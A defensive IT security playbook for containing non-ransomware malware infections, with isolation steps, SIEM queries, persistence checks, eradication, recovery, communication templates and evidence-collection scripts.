Malware Containment
Malware containment procedures address infections by viruses, trojans, worms, spyware, cryptominers, and remote access tools that do not involve file encryption for ransom. Invoke this playbook when security tools detect malicious software, when users report suspicious system behaviour, or when network monitoring identifies command-and-control traffic. The objective is to isolate infected systems, eradicate the malware, verify system integrity, and restore normal operations while preserving evidence for root cause analysis.
Ransomware exclusion
If malware encrypts files and demands payment, switch immediately to Ransomware Response. Ransomware requires different containment priorities and recovery procedures.
Activation criteria
Activate this playbook when any of the following conditions occur:
| Indicator | Threshold | Detection source |
|---|---|---|
| Antivirus/EDR alert | Any confirmed detection (not suspicious/potential) | Security console |
| Process anomaly | Unknown process with network connections or child spawning | EDR behavioural detection |
| Command-and-control traffic | Any connection to known malicious IP/domain | Network monitoring, DNS logs |
| User report | System behaving abnormally after opening attachment or visiting website | Service desk |
| Cryptominer indicators | CPU sustained above 80% without user activity | Endpoint monitoring |
| Persistence mechanism | New scheduled task, service, or registry run key matching IOC patterns | EDR, SIEM correlation |
| Lateral movement attempt | Authentication attempts from endpoint to multiple systems within 5 minutes | SIEM, authentication logs |
A single confirmed detection triggers the playbook. Do not wait for multiple indicators when one provides high confidence of infection.
Roles
| Role | Responsibility | Typical assignee | Backup |
|---|---|---|---|
| Incident commander | Coordinates response, makes containment decisions, manages communications | IT manager or security lead | Senior system administrator |
| Technical lead | Executes containment and eradication procedures | System administrator or security analyst | IT support with admin access |
| Evidence custodian | Preserves forensic data, maintains chain of custody | Security analyst | IT manager |
| Communications lead | Updates stakeholders, manages user notifications | IT manager | Service desk supervisor |
For organisations with a single IT person, that individual assumes all roles. Prioritise containment actions over documentation during active response; document retrospectively within 24 hours.
Phase 1: Initial containment
Objective: Stop malware execution and prevent spread to other systems.
Timeframe: Complete within 30 minutes of activation.
Confirm the alert is a true positive by reviewing the detection details in your security console. Check the file hash against VirusTotal or your threat intelligence platform. A file flagged by 5 or more engines with consistent malware family classification confirms malicious intent.
Isolate the affected endpoint from the network. The isolation method depends on your infrastructure:
EDR-managed endpoints: Use the console’s network isolation feature, which blocks all traffic except communication with the management server:
# CrowdStrike Falcon Network Containment > Contain Host
# Microsoft Defender for Endpoint Device page > Response actions > Isolate device
# SentinelOne Sentinels > Select endpoint > Network QuarantineUnmanaged endpoints or EDR unavailable: Disconnect physically or disable the network adapter:
# Windows - disable all network adapters Get-NetAdapter | Disable-NetAdapter -Confirm:$false # Linux - bring down network interfaces for iface in $(ip link show | grep -E '^[0-9]+:' | cut -d: -f2 | tr -d ' '); do ip link set "$iface" down done- Terminate the malicious process if still running. Identify the process ID from your EDR console or detection alert:
# Windows Stop-Process -Id <PID> -Force # Linux kill -9 <PID>- Disable the user account associated with the infected endpoint to prevent credential reuse if the malware captured authentication tokens:
# Active Directory Disable-ADAccount -Identity <username> # Entra ID via Microsoft Graph az rest --method PATCH \ --uri "https://graph.microsoft.com/v1.0/users/<user-id>" \ --body '{"accountEnabled": false}'- Document the initial state: endpoint hostname, IP address, logged-in user, detection time, malware name from the alert, and isolation time. This forms the incident record foundation.
Decision point: If the malware detection indicates a known Remote Access Trojan (RAT) or if EDR shows the process established outbound connections before containment, proceed directly to Phase 2 with elevated priority. Assume data exfiltration is possible.
Checkpoint: The infected endpoint cannot reach any network resource except its management console. The malicious process is not running. Proceed to Phase 2.
Phase 2: Scope assessment
Objective: Determine whether malware spread to other systems and identify all affected endpoints.
Timeframe: Complete within 2 hours of containment.
Query your SIEM or EDR for the malware indicators of compromise (IOCs) across all managed endpoints. Search for:
File hash (SHA256):
# Splunk index=endpoint file_hash="<sha256>" earliest=-7d
# Microsoft Sentinel DeviceFileEvents | where SHA256 == "<sha256>" | where Timestamp > ago(7d)Process name and command line:
# Elastic process.name: "<malware_name>" OR process.command_line: "*<unique_string>*"- Search authentication logs for the infected endpoint as a source. Lateral movement attempts appear as authentication events from the compromised system to others:
# Windows Security Event Log query (Event ID 4624 Type 3) index=windows EventCode=4624 Logon_Type=3 Source_Network_Address=<infected_ip>- Review DNS logs for connections to the command-and-control domain or IP identified in the detection:
index=dns query="<c2_domain>" OR answer="<c2_ip>" | stats count by src_ipAny additional source IPs indicate other infected endpoints.
- Check network flow data for connections to the C2 infrastructure:
index=netflow dest_ip="<c2_ip>" dest_port=443 | stats sum(bytes) by src_ip- Build the scope list: every endpoint that shows IOC matches, authentication from the infected system, or C2 communication. Each endpoint on this list requires the Phase 3 eradication procedures.
The scope assessment produces a definitive count of affected systems. If the count exceeds 10 endpoints or includes servers, escalate to the incident commander for additional resource allocation.
Checkpoint: You have identified all endpoints requiring eradication. The scope list is documented with hostname, IP, and IOC match type for each system.
Phase 3: Eradication
Objective: Remove all malware components and persistence mechanisms from affected systems.
Timeframe: 1 to 4 hours per endpoint depending on complexity.
+------------------------------------------------------------------+| ERADICATION DECISION TREE |+------------------------------------------------------------------+ | v +------------+------------+ | Malware family known? | +------------+------------+ | +---------------+---------------+ | | v Yes v No +----------+----------+ +----------+----------+ | Vendor removal tool | | Full disk image | | available? | | for analysis | +----------+----------+ +----------+----------+ | | +------+------+ v | | +----------+----------+ v Yes v No | Re-image endpoint |+------+------+ +----+----+ +---------------------+| Run vendor | | Manual || tool | | removal |+------+------+ +----+----+ | | v v+------+-------------+------+| Verify removal with || full scan + IOC check |+--------------+------------+ | +------+------+ | | v Pass v Fail+-------+-------+ +---+---+| Harden and | | Re- || reconnect | | image |+---------------+ +-------+Determine whether a vendor-specific removal tool exists for the identified malware family. Major antivirus vendors publish standalone removal tools for prevalent malware:
Vendor Tool repository Kaspersky https://support.kaspersky.com/viruses/utility ESET https://www.eset.com/int/support/stand-alone-tools/ Malwarebytes https://www.malwarebytes.com/mwb-download Microsoft Windows Defender Offline, Microsoft Safety Scanner For known malware families with removal tools, run the tool on the isolated endpoint. Boot from removable media if the tool offers an offline scanning option, which prevents rootkits from hiding:
# Example: Microsoft Safety Scanner .\MSERT.exe /F /QFor unknown malware or when no removal tool exists, perform manual eradication. First, identify and remove persistence mechanisms:
Windows persistence locations:
# Registry run keys Get-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" Get-ItemProperty -Path "HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" Get-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce"
# Scheduled tasks Get-ScheduledTask | Where-Object {$_.State -ne "Disabled"} | Select-Object TaskName, TaskPath, State
# Services Get-WmiObject Win32_Service | Where-Object {$_.PathName -like "*<malware_path>*"}
# Startup folder Get-ChildItem "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp" Get-ChildItem "$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup"Linux persistence locations:
# Cron jobs for user in $(cut -f1 -d: /etc/passwd); do crontab -u $user -l 2>/dev/null; done cat /etc/crontab ls -la /etc/cron.*
# Systemd services systemctl list-unit-files --state=enabled ls -la /etc/systemd/system/
# Init scripts ls -la /etc/init.d/
# Shell profiles cat /etc/profile cat ~/.bashrc ~/.bash_profile ~/.profile- Remove identified persistence entries and delete the malware files:
# Windows - remove registry persistence Remove-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" ` -Name "<value_name>"
# Delete malware file Remove-Item -Path "<malware_path>" -Force # Linux - remove cron persistence crontab -r -u <user>
# Delete malware file rm -f <malware_path>- Clear cached credentials to prevent reuse of potentially compromised authentication material:
# Windows - clear credential cache cmdkey /list | ForEach-Object { if ($_ -like "*Target:*") { cmdkey /delete:($_ -replace ".*Target: ","") }}
# Clear Kerberos tickets klist purge- Run a full antivirus scan with updated definitions to detect any remaining components:
# Windows Defender Update-MpSignature Start-MpScan -ScanType FullScan- Verify eradication by re-checking all IOCs against the cleaned system. Query the endpoint for the original file hash, process name, registry keys, and network connections:
# Check for file hash Get-ChildItem -Path C:\ -Recurse -ErrorAction SilentlyContinue | Get-FileHash -Algorithm SHA256 | Where-Object {$_.Hash -eq "<malware_hash>"}Re-imaging decision: Re-image the endpoint instead of manual eradication when any of these conditions apply:
- Rootkit or bootkit detected
- Malware has been present for more than 14 days (persistence mechanisms likely missed)
- Removal tool or manual cleaning fails verification scan
- Endpoint is a server or handles sensitive data
- Time to re-image is shorter than time to verify manual cleaning
For most field endpoints, re-imaging provides higher confidence than manual cleaning. Preserve a forensic disk image before re-imaging if root cause analysis is required.
Checkpoint: All affected endpoints have completed eradication. Verification scans show no IOC matches. No malware processes are running.
Phase 4: Recovery
Objective: Restore affected systems to normal operation with hardening to prevent reinfection.
Timeframe: 2 to 8 hours depending on endpoint count and re-imaging requirements.
- Apply all pending security patches to the endpoint before reconnecting to the network. The initial infection vector was likely an unpatched vulnerability or social engineering; patching closes the former:
# Windows Install-WindowsUpdate -AcceptAll -AutoReboot # Debian/Ubuntu apt update && apt upgrade -y
# RHEL/CentOS dnf update -y- Reset the credentials for the user account associated with the infected endpoint. Also reset credentials for any service accounts that had cached credentials on the system:
# Active Directory password reset Set-ADAccountPassword -Identity <username> -Reset ` -NewPassword (ConvertTo-SecureString -AsPlainText "<new_password>" -Force)
# Force password change at next logon Set-ADUser -Identity <username> -ChangePasswordAtLogon $true- Re-enable the network connection on the cleaned endpoint. For EDR-isolated endpoints:
# CrowdStrike Falcon Network Containment > Release Host
# Microsoft Defender for Endpoint Device page > Response actions > Release from isolation- Re-enable the user account once the endpoint is confirmed clean and credentials are reset:
Enable-ADAccount -Identity <username>Monitor the recovered endpoint intensively for 72 hours. Configure alerts for:
- Any process execution matching original malware name patterns
- Network connections to the C2 infrastructure
- New scheduled tasks or services created
- Registry modifications to run keys
Verify the user can authenticate and access required resources. Confirm line-of-business applications function correctly.
Checkpoint: All affected endpoints are operational on the network. Users have reset credentials and can work normally. Monitoring is active for reinfection indicators.
Phase 5: Post-incident
Objective: Identify root cause, improve defences, and complete documentation.
Timeframe: Complete within 5 business days of recovery.
Conduct root cause analysis to determine the initial infection vector. The three most common vectors for non-ransomware malware are:
Email attachment: Check email logs for messages to the affected user containing attachments received within 48 hours before detection. Cross-reference with user activity on the endpoint.
Web download: Review proxy logs and browser history for executable or document downloads. Look for files from unusual domains or with double extensions (document.pdf.exe).
Removable media: Check USB device connection logs if enabled. Determine whether the user connected personal devices.
Implement specific mitigations based on the identified vector:
Vector Mitigation Email attachment Block attachment type at mail gateway; implement Safe Attachments sandboxing Web download Block executable downloads from uncategorised sites; enable SmartScreen Removable media Restrict USB storage to authorised devices via device control policy Exploit kit Patch the exploited vulnerability; verify web filtering blocks known exploit kit domains Add the malware IOCs to your blocklists:
- File hashes to EDR prevention policy
- C2 domains to DNS sinkhole or web filter
- C2 IPs to firewall deny rules
Update detection rules if the malware evaded initial detection. Work with your security vendor if the malware was a zero-day or variant not covered by signatures.
Complete the incident report using the Evidence Collection template. Include:
- Timeline from initial detection to full recovery
- All affected systems and users
- IOCs discovered
- Root cause
- Mitigations implemented
Conduct a brief retrospective with the response team within 5 days. Focus on:
- What slowed the response?
- What information was missing?
- What would you do differently?
Communications
| Stakeholder | Timing | Channel | Owner | Template reference |
|---|---|---|---|---|
| Affected user | Within 1 hour of detection | Direct call or message | Technical lead | User notification below |
| IT leadership | Within 2 hours | Incident commander | Leadership update below | |
| All staff | Only if widespread or high-profile | Organisation email | Communications lead | Staff advisory below |
| Security vendor | If novel malware requiring analysis | Support ticket | Technical lead | N/A |
User notification
Deliver verbally if possible; follow up in writing:
Subject: IT security - action required for your computer
We detected a security issue on your computer [HOSTNAME] at [TIME].Your computer has been isolated from the network to prevent any spread.
What you need to do:1. Do not attempt to reconnect to the network2. Save any unsaved work to your desktop3. [Contact IT / Bring device to IT / IT will visit you]
Your network access will be restored once we complete the cleanup.This typically takes [X hours]. Your password will be reset as a precaution.
Contact [NAME] at [PHONE/EMAIL] with questions.Leadership update
Subject: Security incident - malware detection - [STATUS]
Summary: Malware detected on [NUMBER] endpoint(s) at [TIME].Containment complete. Eradication [in progress / complete].
Impact:- Affected users: [LIST]- Business impact: [NONE / LIMITED - describe]- Data exposure: [NOT INDICATED / UNDER INVESTIGATION]
Current status: Phase [X] - [PHASE NAME]Next update: [TIME]
Response team: [NAMES]Incident commander: [NAME, CONTACT]Staff advisory
Use only for widespread incidents affecting multiple departments or when rumours are circulating:
Subject: IT security advisory - [DATE]
IT is responding to a security issue affecting some computers in [LOCATION/DEPARTMENT].The issue is contained and does not require action from most staff.
If you notice unusual computer behaviour such as:- Programs opening without your action- Significant slowdown- Antivirus warnings
Contact the IT service desk immediately at [CONTACT].Do not attempt to fix the issue yourself.
Normal operations continue. We will provide updates if the situation changes.Evidence preservation
Preserve the following evidence before eradication activities modify system state. Coordinate with the evidence custodian and follow chain of custody procedures documented in Evidence Collection.
Priority 1 (capture immediately after containment):
- Running processes with command lines and parent processes
- Network connections (netstat output with process IDs)
- Memory dump if malware is memory-resident
Priority 2 (capture before eradication):
- Malware file sample (quarantine, do not delete)
- Registry exports of persistence locations
- Scheduled task XML exports
- Prefetch files (Windows)
- Event logs (Security, System, Application, PowerShell)
Priority 3 (capture if time permits):
- Full disk image
- Browser history and downloads
- Email client cache
# Windows evidence collection script (run from admin PowerShell)$EvidenceDir = "C:\Evidence\$(Get-Date -Format 'yyyyMMdd_HHmmss')"New-Item -ItemType Directory -Path $EvidenceDir -Force
# Running processesGet-Process | Select-Object Id, ProcessName, Path, CommandLine | Export-Csv "$EvidenceDir\processes.csv" -NoTypeInformation
# Network connectionsGet-NetTCPConnection | Select-Object LocalAddress, LocalPort, RemoteAddress, RemotePort, State, OwningProcess | Export-Csv "$EvidenceDir\connections.csv" -NoTypeInformation
# Scheduled tasksGet-ScheduledTask | Export-Clixml "$EvidenceDir\scheduled_tasks.xml"
# Registry run keysreg export "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" ` "$EvidenceDir\hklm_run.reg" /yreg export "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" ` "$EvidenceDir\hkcu_run.reg" /y
# Event logswevtutil epl Security "$EvidenceDir\Security.evtx"wevtutil epl System "$EvidenceDir\System.evtx"wevtutil epl Application "$EvidenceDir\Application.evtx"# Linux evidence collection script (run as root)EVIDENCE_DIR="/tmp/evidence/$(date +%Y%m%d_%H%M%S)"mkdir -p "$EVIDENCE_DIR"
# Running processesps auxwww > "$EVIDENCE_DIR/processes.txt"
# Network connectionsss -tunap > "$EVIDENCE_DIR/connections.txt"netstat -tunap > "$EVIDENCE_DIR/netstat.txt" 2>/dev/null
# Cron jobsfor user in $(cut -f1 -d: /etc/passwd); do echo "=== $user ===" >> "$EVIDENCE_DIR/cron_jobs.txt" crontab -u $user -l >> "$EVIDENCE_DIR/cron_jobs.txt" 2>/dev/nulldone
# Systemd servicessystemctl list-unit-files > "$EVIDENCE_DIR/systemd_units.txt"
# Auth logscp /var/log/auth.log "$EVIDENCE_DIR/" 2>/dev/nullcp /var/log/secure "$EVIDENCE_DIR/" 2>/dev/nullNetwork isolation topology
The following diagram shows network-level isolation for an infected endpoint when EDR isolation is unavailable or insufficient:
+-----------------------------------------------------------------+| NETWORK ISOLATION TOPOLOGY |+-----------------------------------------------------------------+| || NORMAL STATE ISOLATED STATE || ============ ============== || || +----------+ +----------+ || | Infected | | Infected | || | Endpoint | | Endpoint | || +----+-----+ +----+-----+ || | | || | VLAN 100 | VLAN 999 (Quarantine) || | | || +----v-----+ +----v-----+ || | Access | | Access | || | Switch | | Switch | || +----+-----+ +----+-----+ || | | || | Trunk | Trunk || | | || +----v-----------+ +----v-----------+ || | Core Switch | | Core Switch | || | | | | || | VLAN 100: Prod | | VLAN 999: -> | || | VLAN 200: Srv | | Quarantine | || | VLAN 300: Mgmt | | Firewall | || +-------+--------+ +-------+--------+ || | | || v v || +-------+--------+ +-------+--------+ || | Firewall | | Firewall | || | | | | || | Full access | | Allow only: | || | per policy | | - EDR server | || | | | - Patch server | || | | | - Admin jump | || +----------------+ +----------------+ || |+-----------------------------------------------------------------+Configure the quarantine VLAN (VLAN 999 in this example) with firewall rules that permit only:
- EDR/AV management server communication (for remote scanning and tool deployment)
- WSUS or patch management server (for remediation patching)
- Administrative jump host (for IT access during remediation)
- DNS to internal server only (to prevent C2 resolution via external DNS)
Block all other traffic including internet access, access to production servers, and lateral communication to other endpoints.
Eradication verification checklist
Complete this verification before proceeding to recovery. All items must pass.
+-------------------------------------------------------------------+| ERADICATION VERIFICATION FLOW |+-------------------------------------------------------------------+| || START VERIFICATION || | || v || +--------+--------+ || | Full AV scan | || | with updated | || | definitions | || +--------+--------+ || | || +------------+------------+ || | | || v Clean v Detections || +---------+---------+ +--------+--------+ || | Check original | | Return to | || | malware file hash | | Phase 3 Step 4 | || +---------+---------+ +-----------------+ || | || +---------+---------+ || | | || v Not found v Found || | | || | +------+------+ || | | Re-image or | || | | escalate | || | +-------------+ || | || v || +---------+---------+ || | Check persistence | || | locations | || +---------+---------+ || | || +---------+---------+ || | | || v Clean v Entries found || | | || | +------+------+ || | | Remove and | || | | re-verify | || | +-------------+ || | || v || +---------+---------+ || | Check for C2 | || | network traffic | || +---------+---------+ || | || +---------+---------+ || | | || v None v Traffic detected || | | || | +------+------+ || | | Malware | || | | still | || | | active - | || | | re-image | || | +-------------+ || | || v || +---------+---------+ || | VERIFICATION | || | COMPLETE | || | Proceed to | || | Phase 4 | || +-------------------+ || |+-------------------------------------------------------------------+Verification commands:
# File hash search (Windows)$MalwareHash = "<sha256_hash>"$Found = Get-ChildItem -Path C:\ -Recurse -File -ErrorAction SilentlyContinue | Where-Object { (Get-FileHash $_.FullName -Algorithm SHA256 -ErrorAction SilentlyContinue).Hash -eq $MalwareHash }if ($Found) { Write-Host "FAIL: Malware file still present at $($Found.FullName)" -ForegroundColor Red }else { Write-Host "PASS: Malware file not found" -ForegroundColor Green }
# Persistence check (Windows)$Persistence = @()$Persistence += Get-ItemProperty "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" -ErrorAction SilentlyContinue$Persistence += Get-ItemProperty "HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" -ErrorAction SilentlyContinue$Persistence += Get-ScheduledTask | Where-Object { $_.State -eq "Ready" }# Review $Persistence for suspicious entries
# Network check - verify no connections to C2$C2IP = "<c2_ip_address>"$C2Connections = Get-NetTCPConnection | Where-Object { $_.RemoteAddress -eq $C2IP }if ($C2Connections) { Write-Host "FAIL: Active C2 connection" -ForegroundColor Red }else { Write-Host "PASS: No C2 connections" -ForegroundColor Green }See also
- Ransomware Response for encryption-based malware requiring different containment priorities
- Phishing Campaign Response when malware originated from a phishing email
- Evidence Collection for detailed forensic preservation procedures and the incident report template
- Vulnerability Management for addressing the vulnerabilities that enabled initial infection
- Incident Triage Matrix for severity classification and playbook routing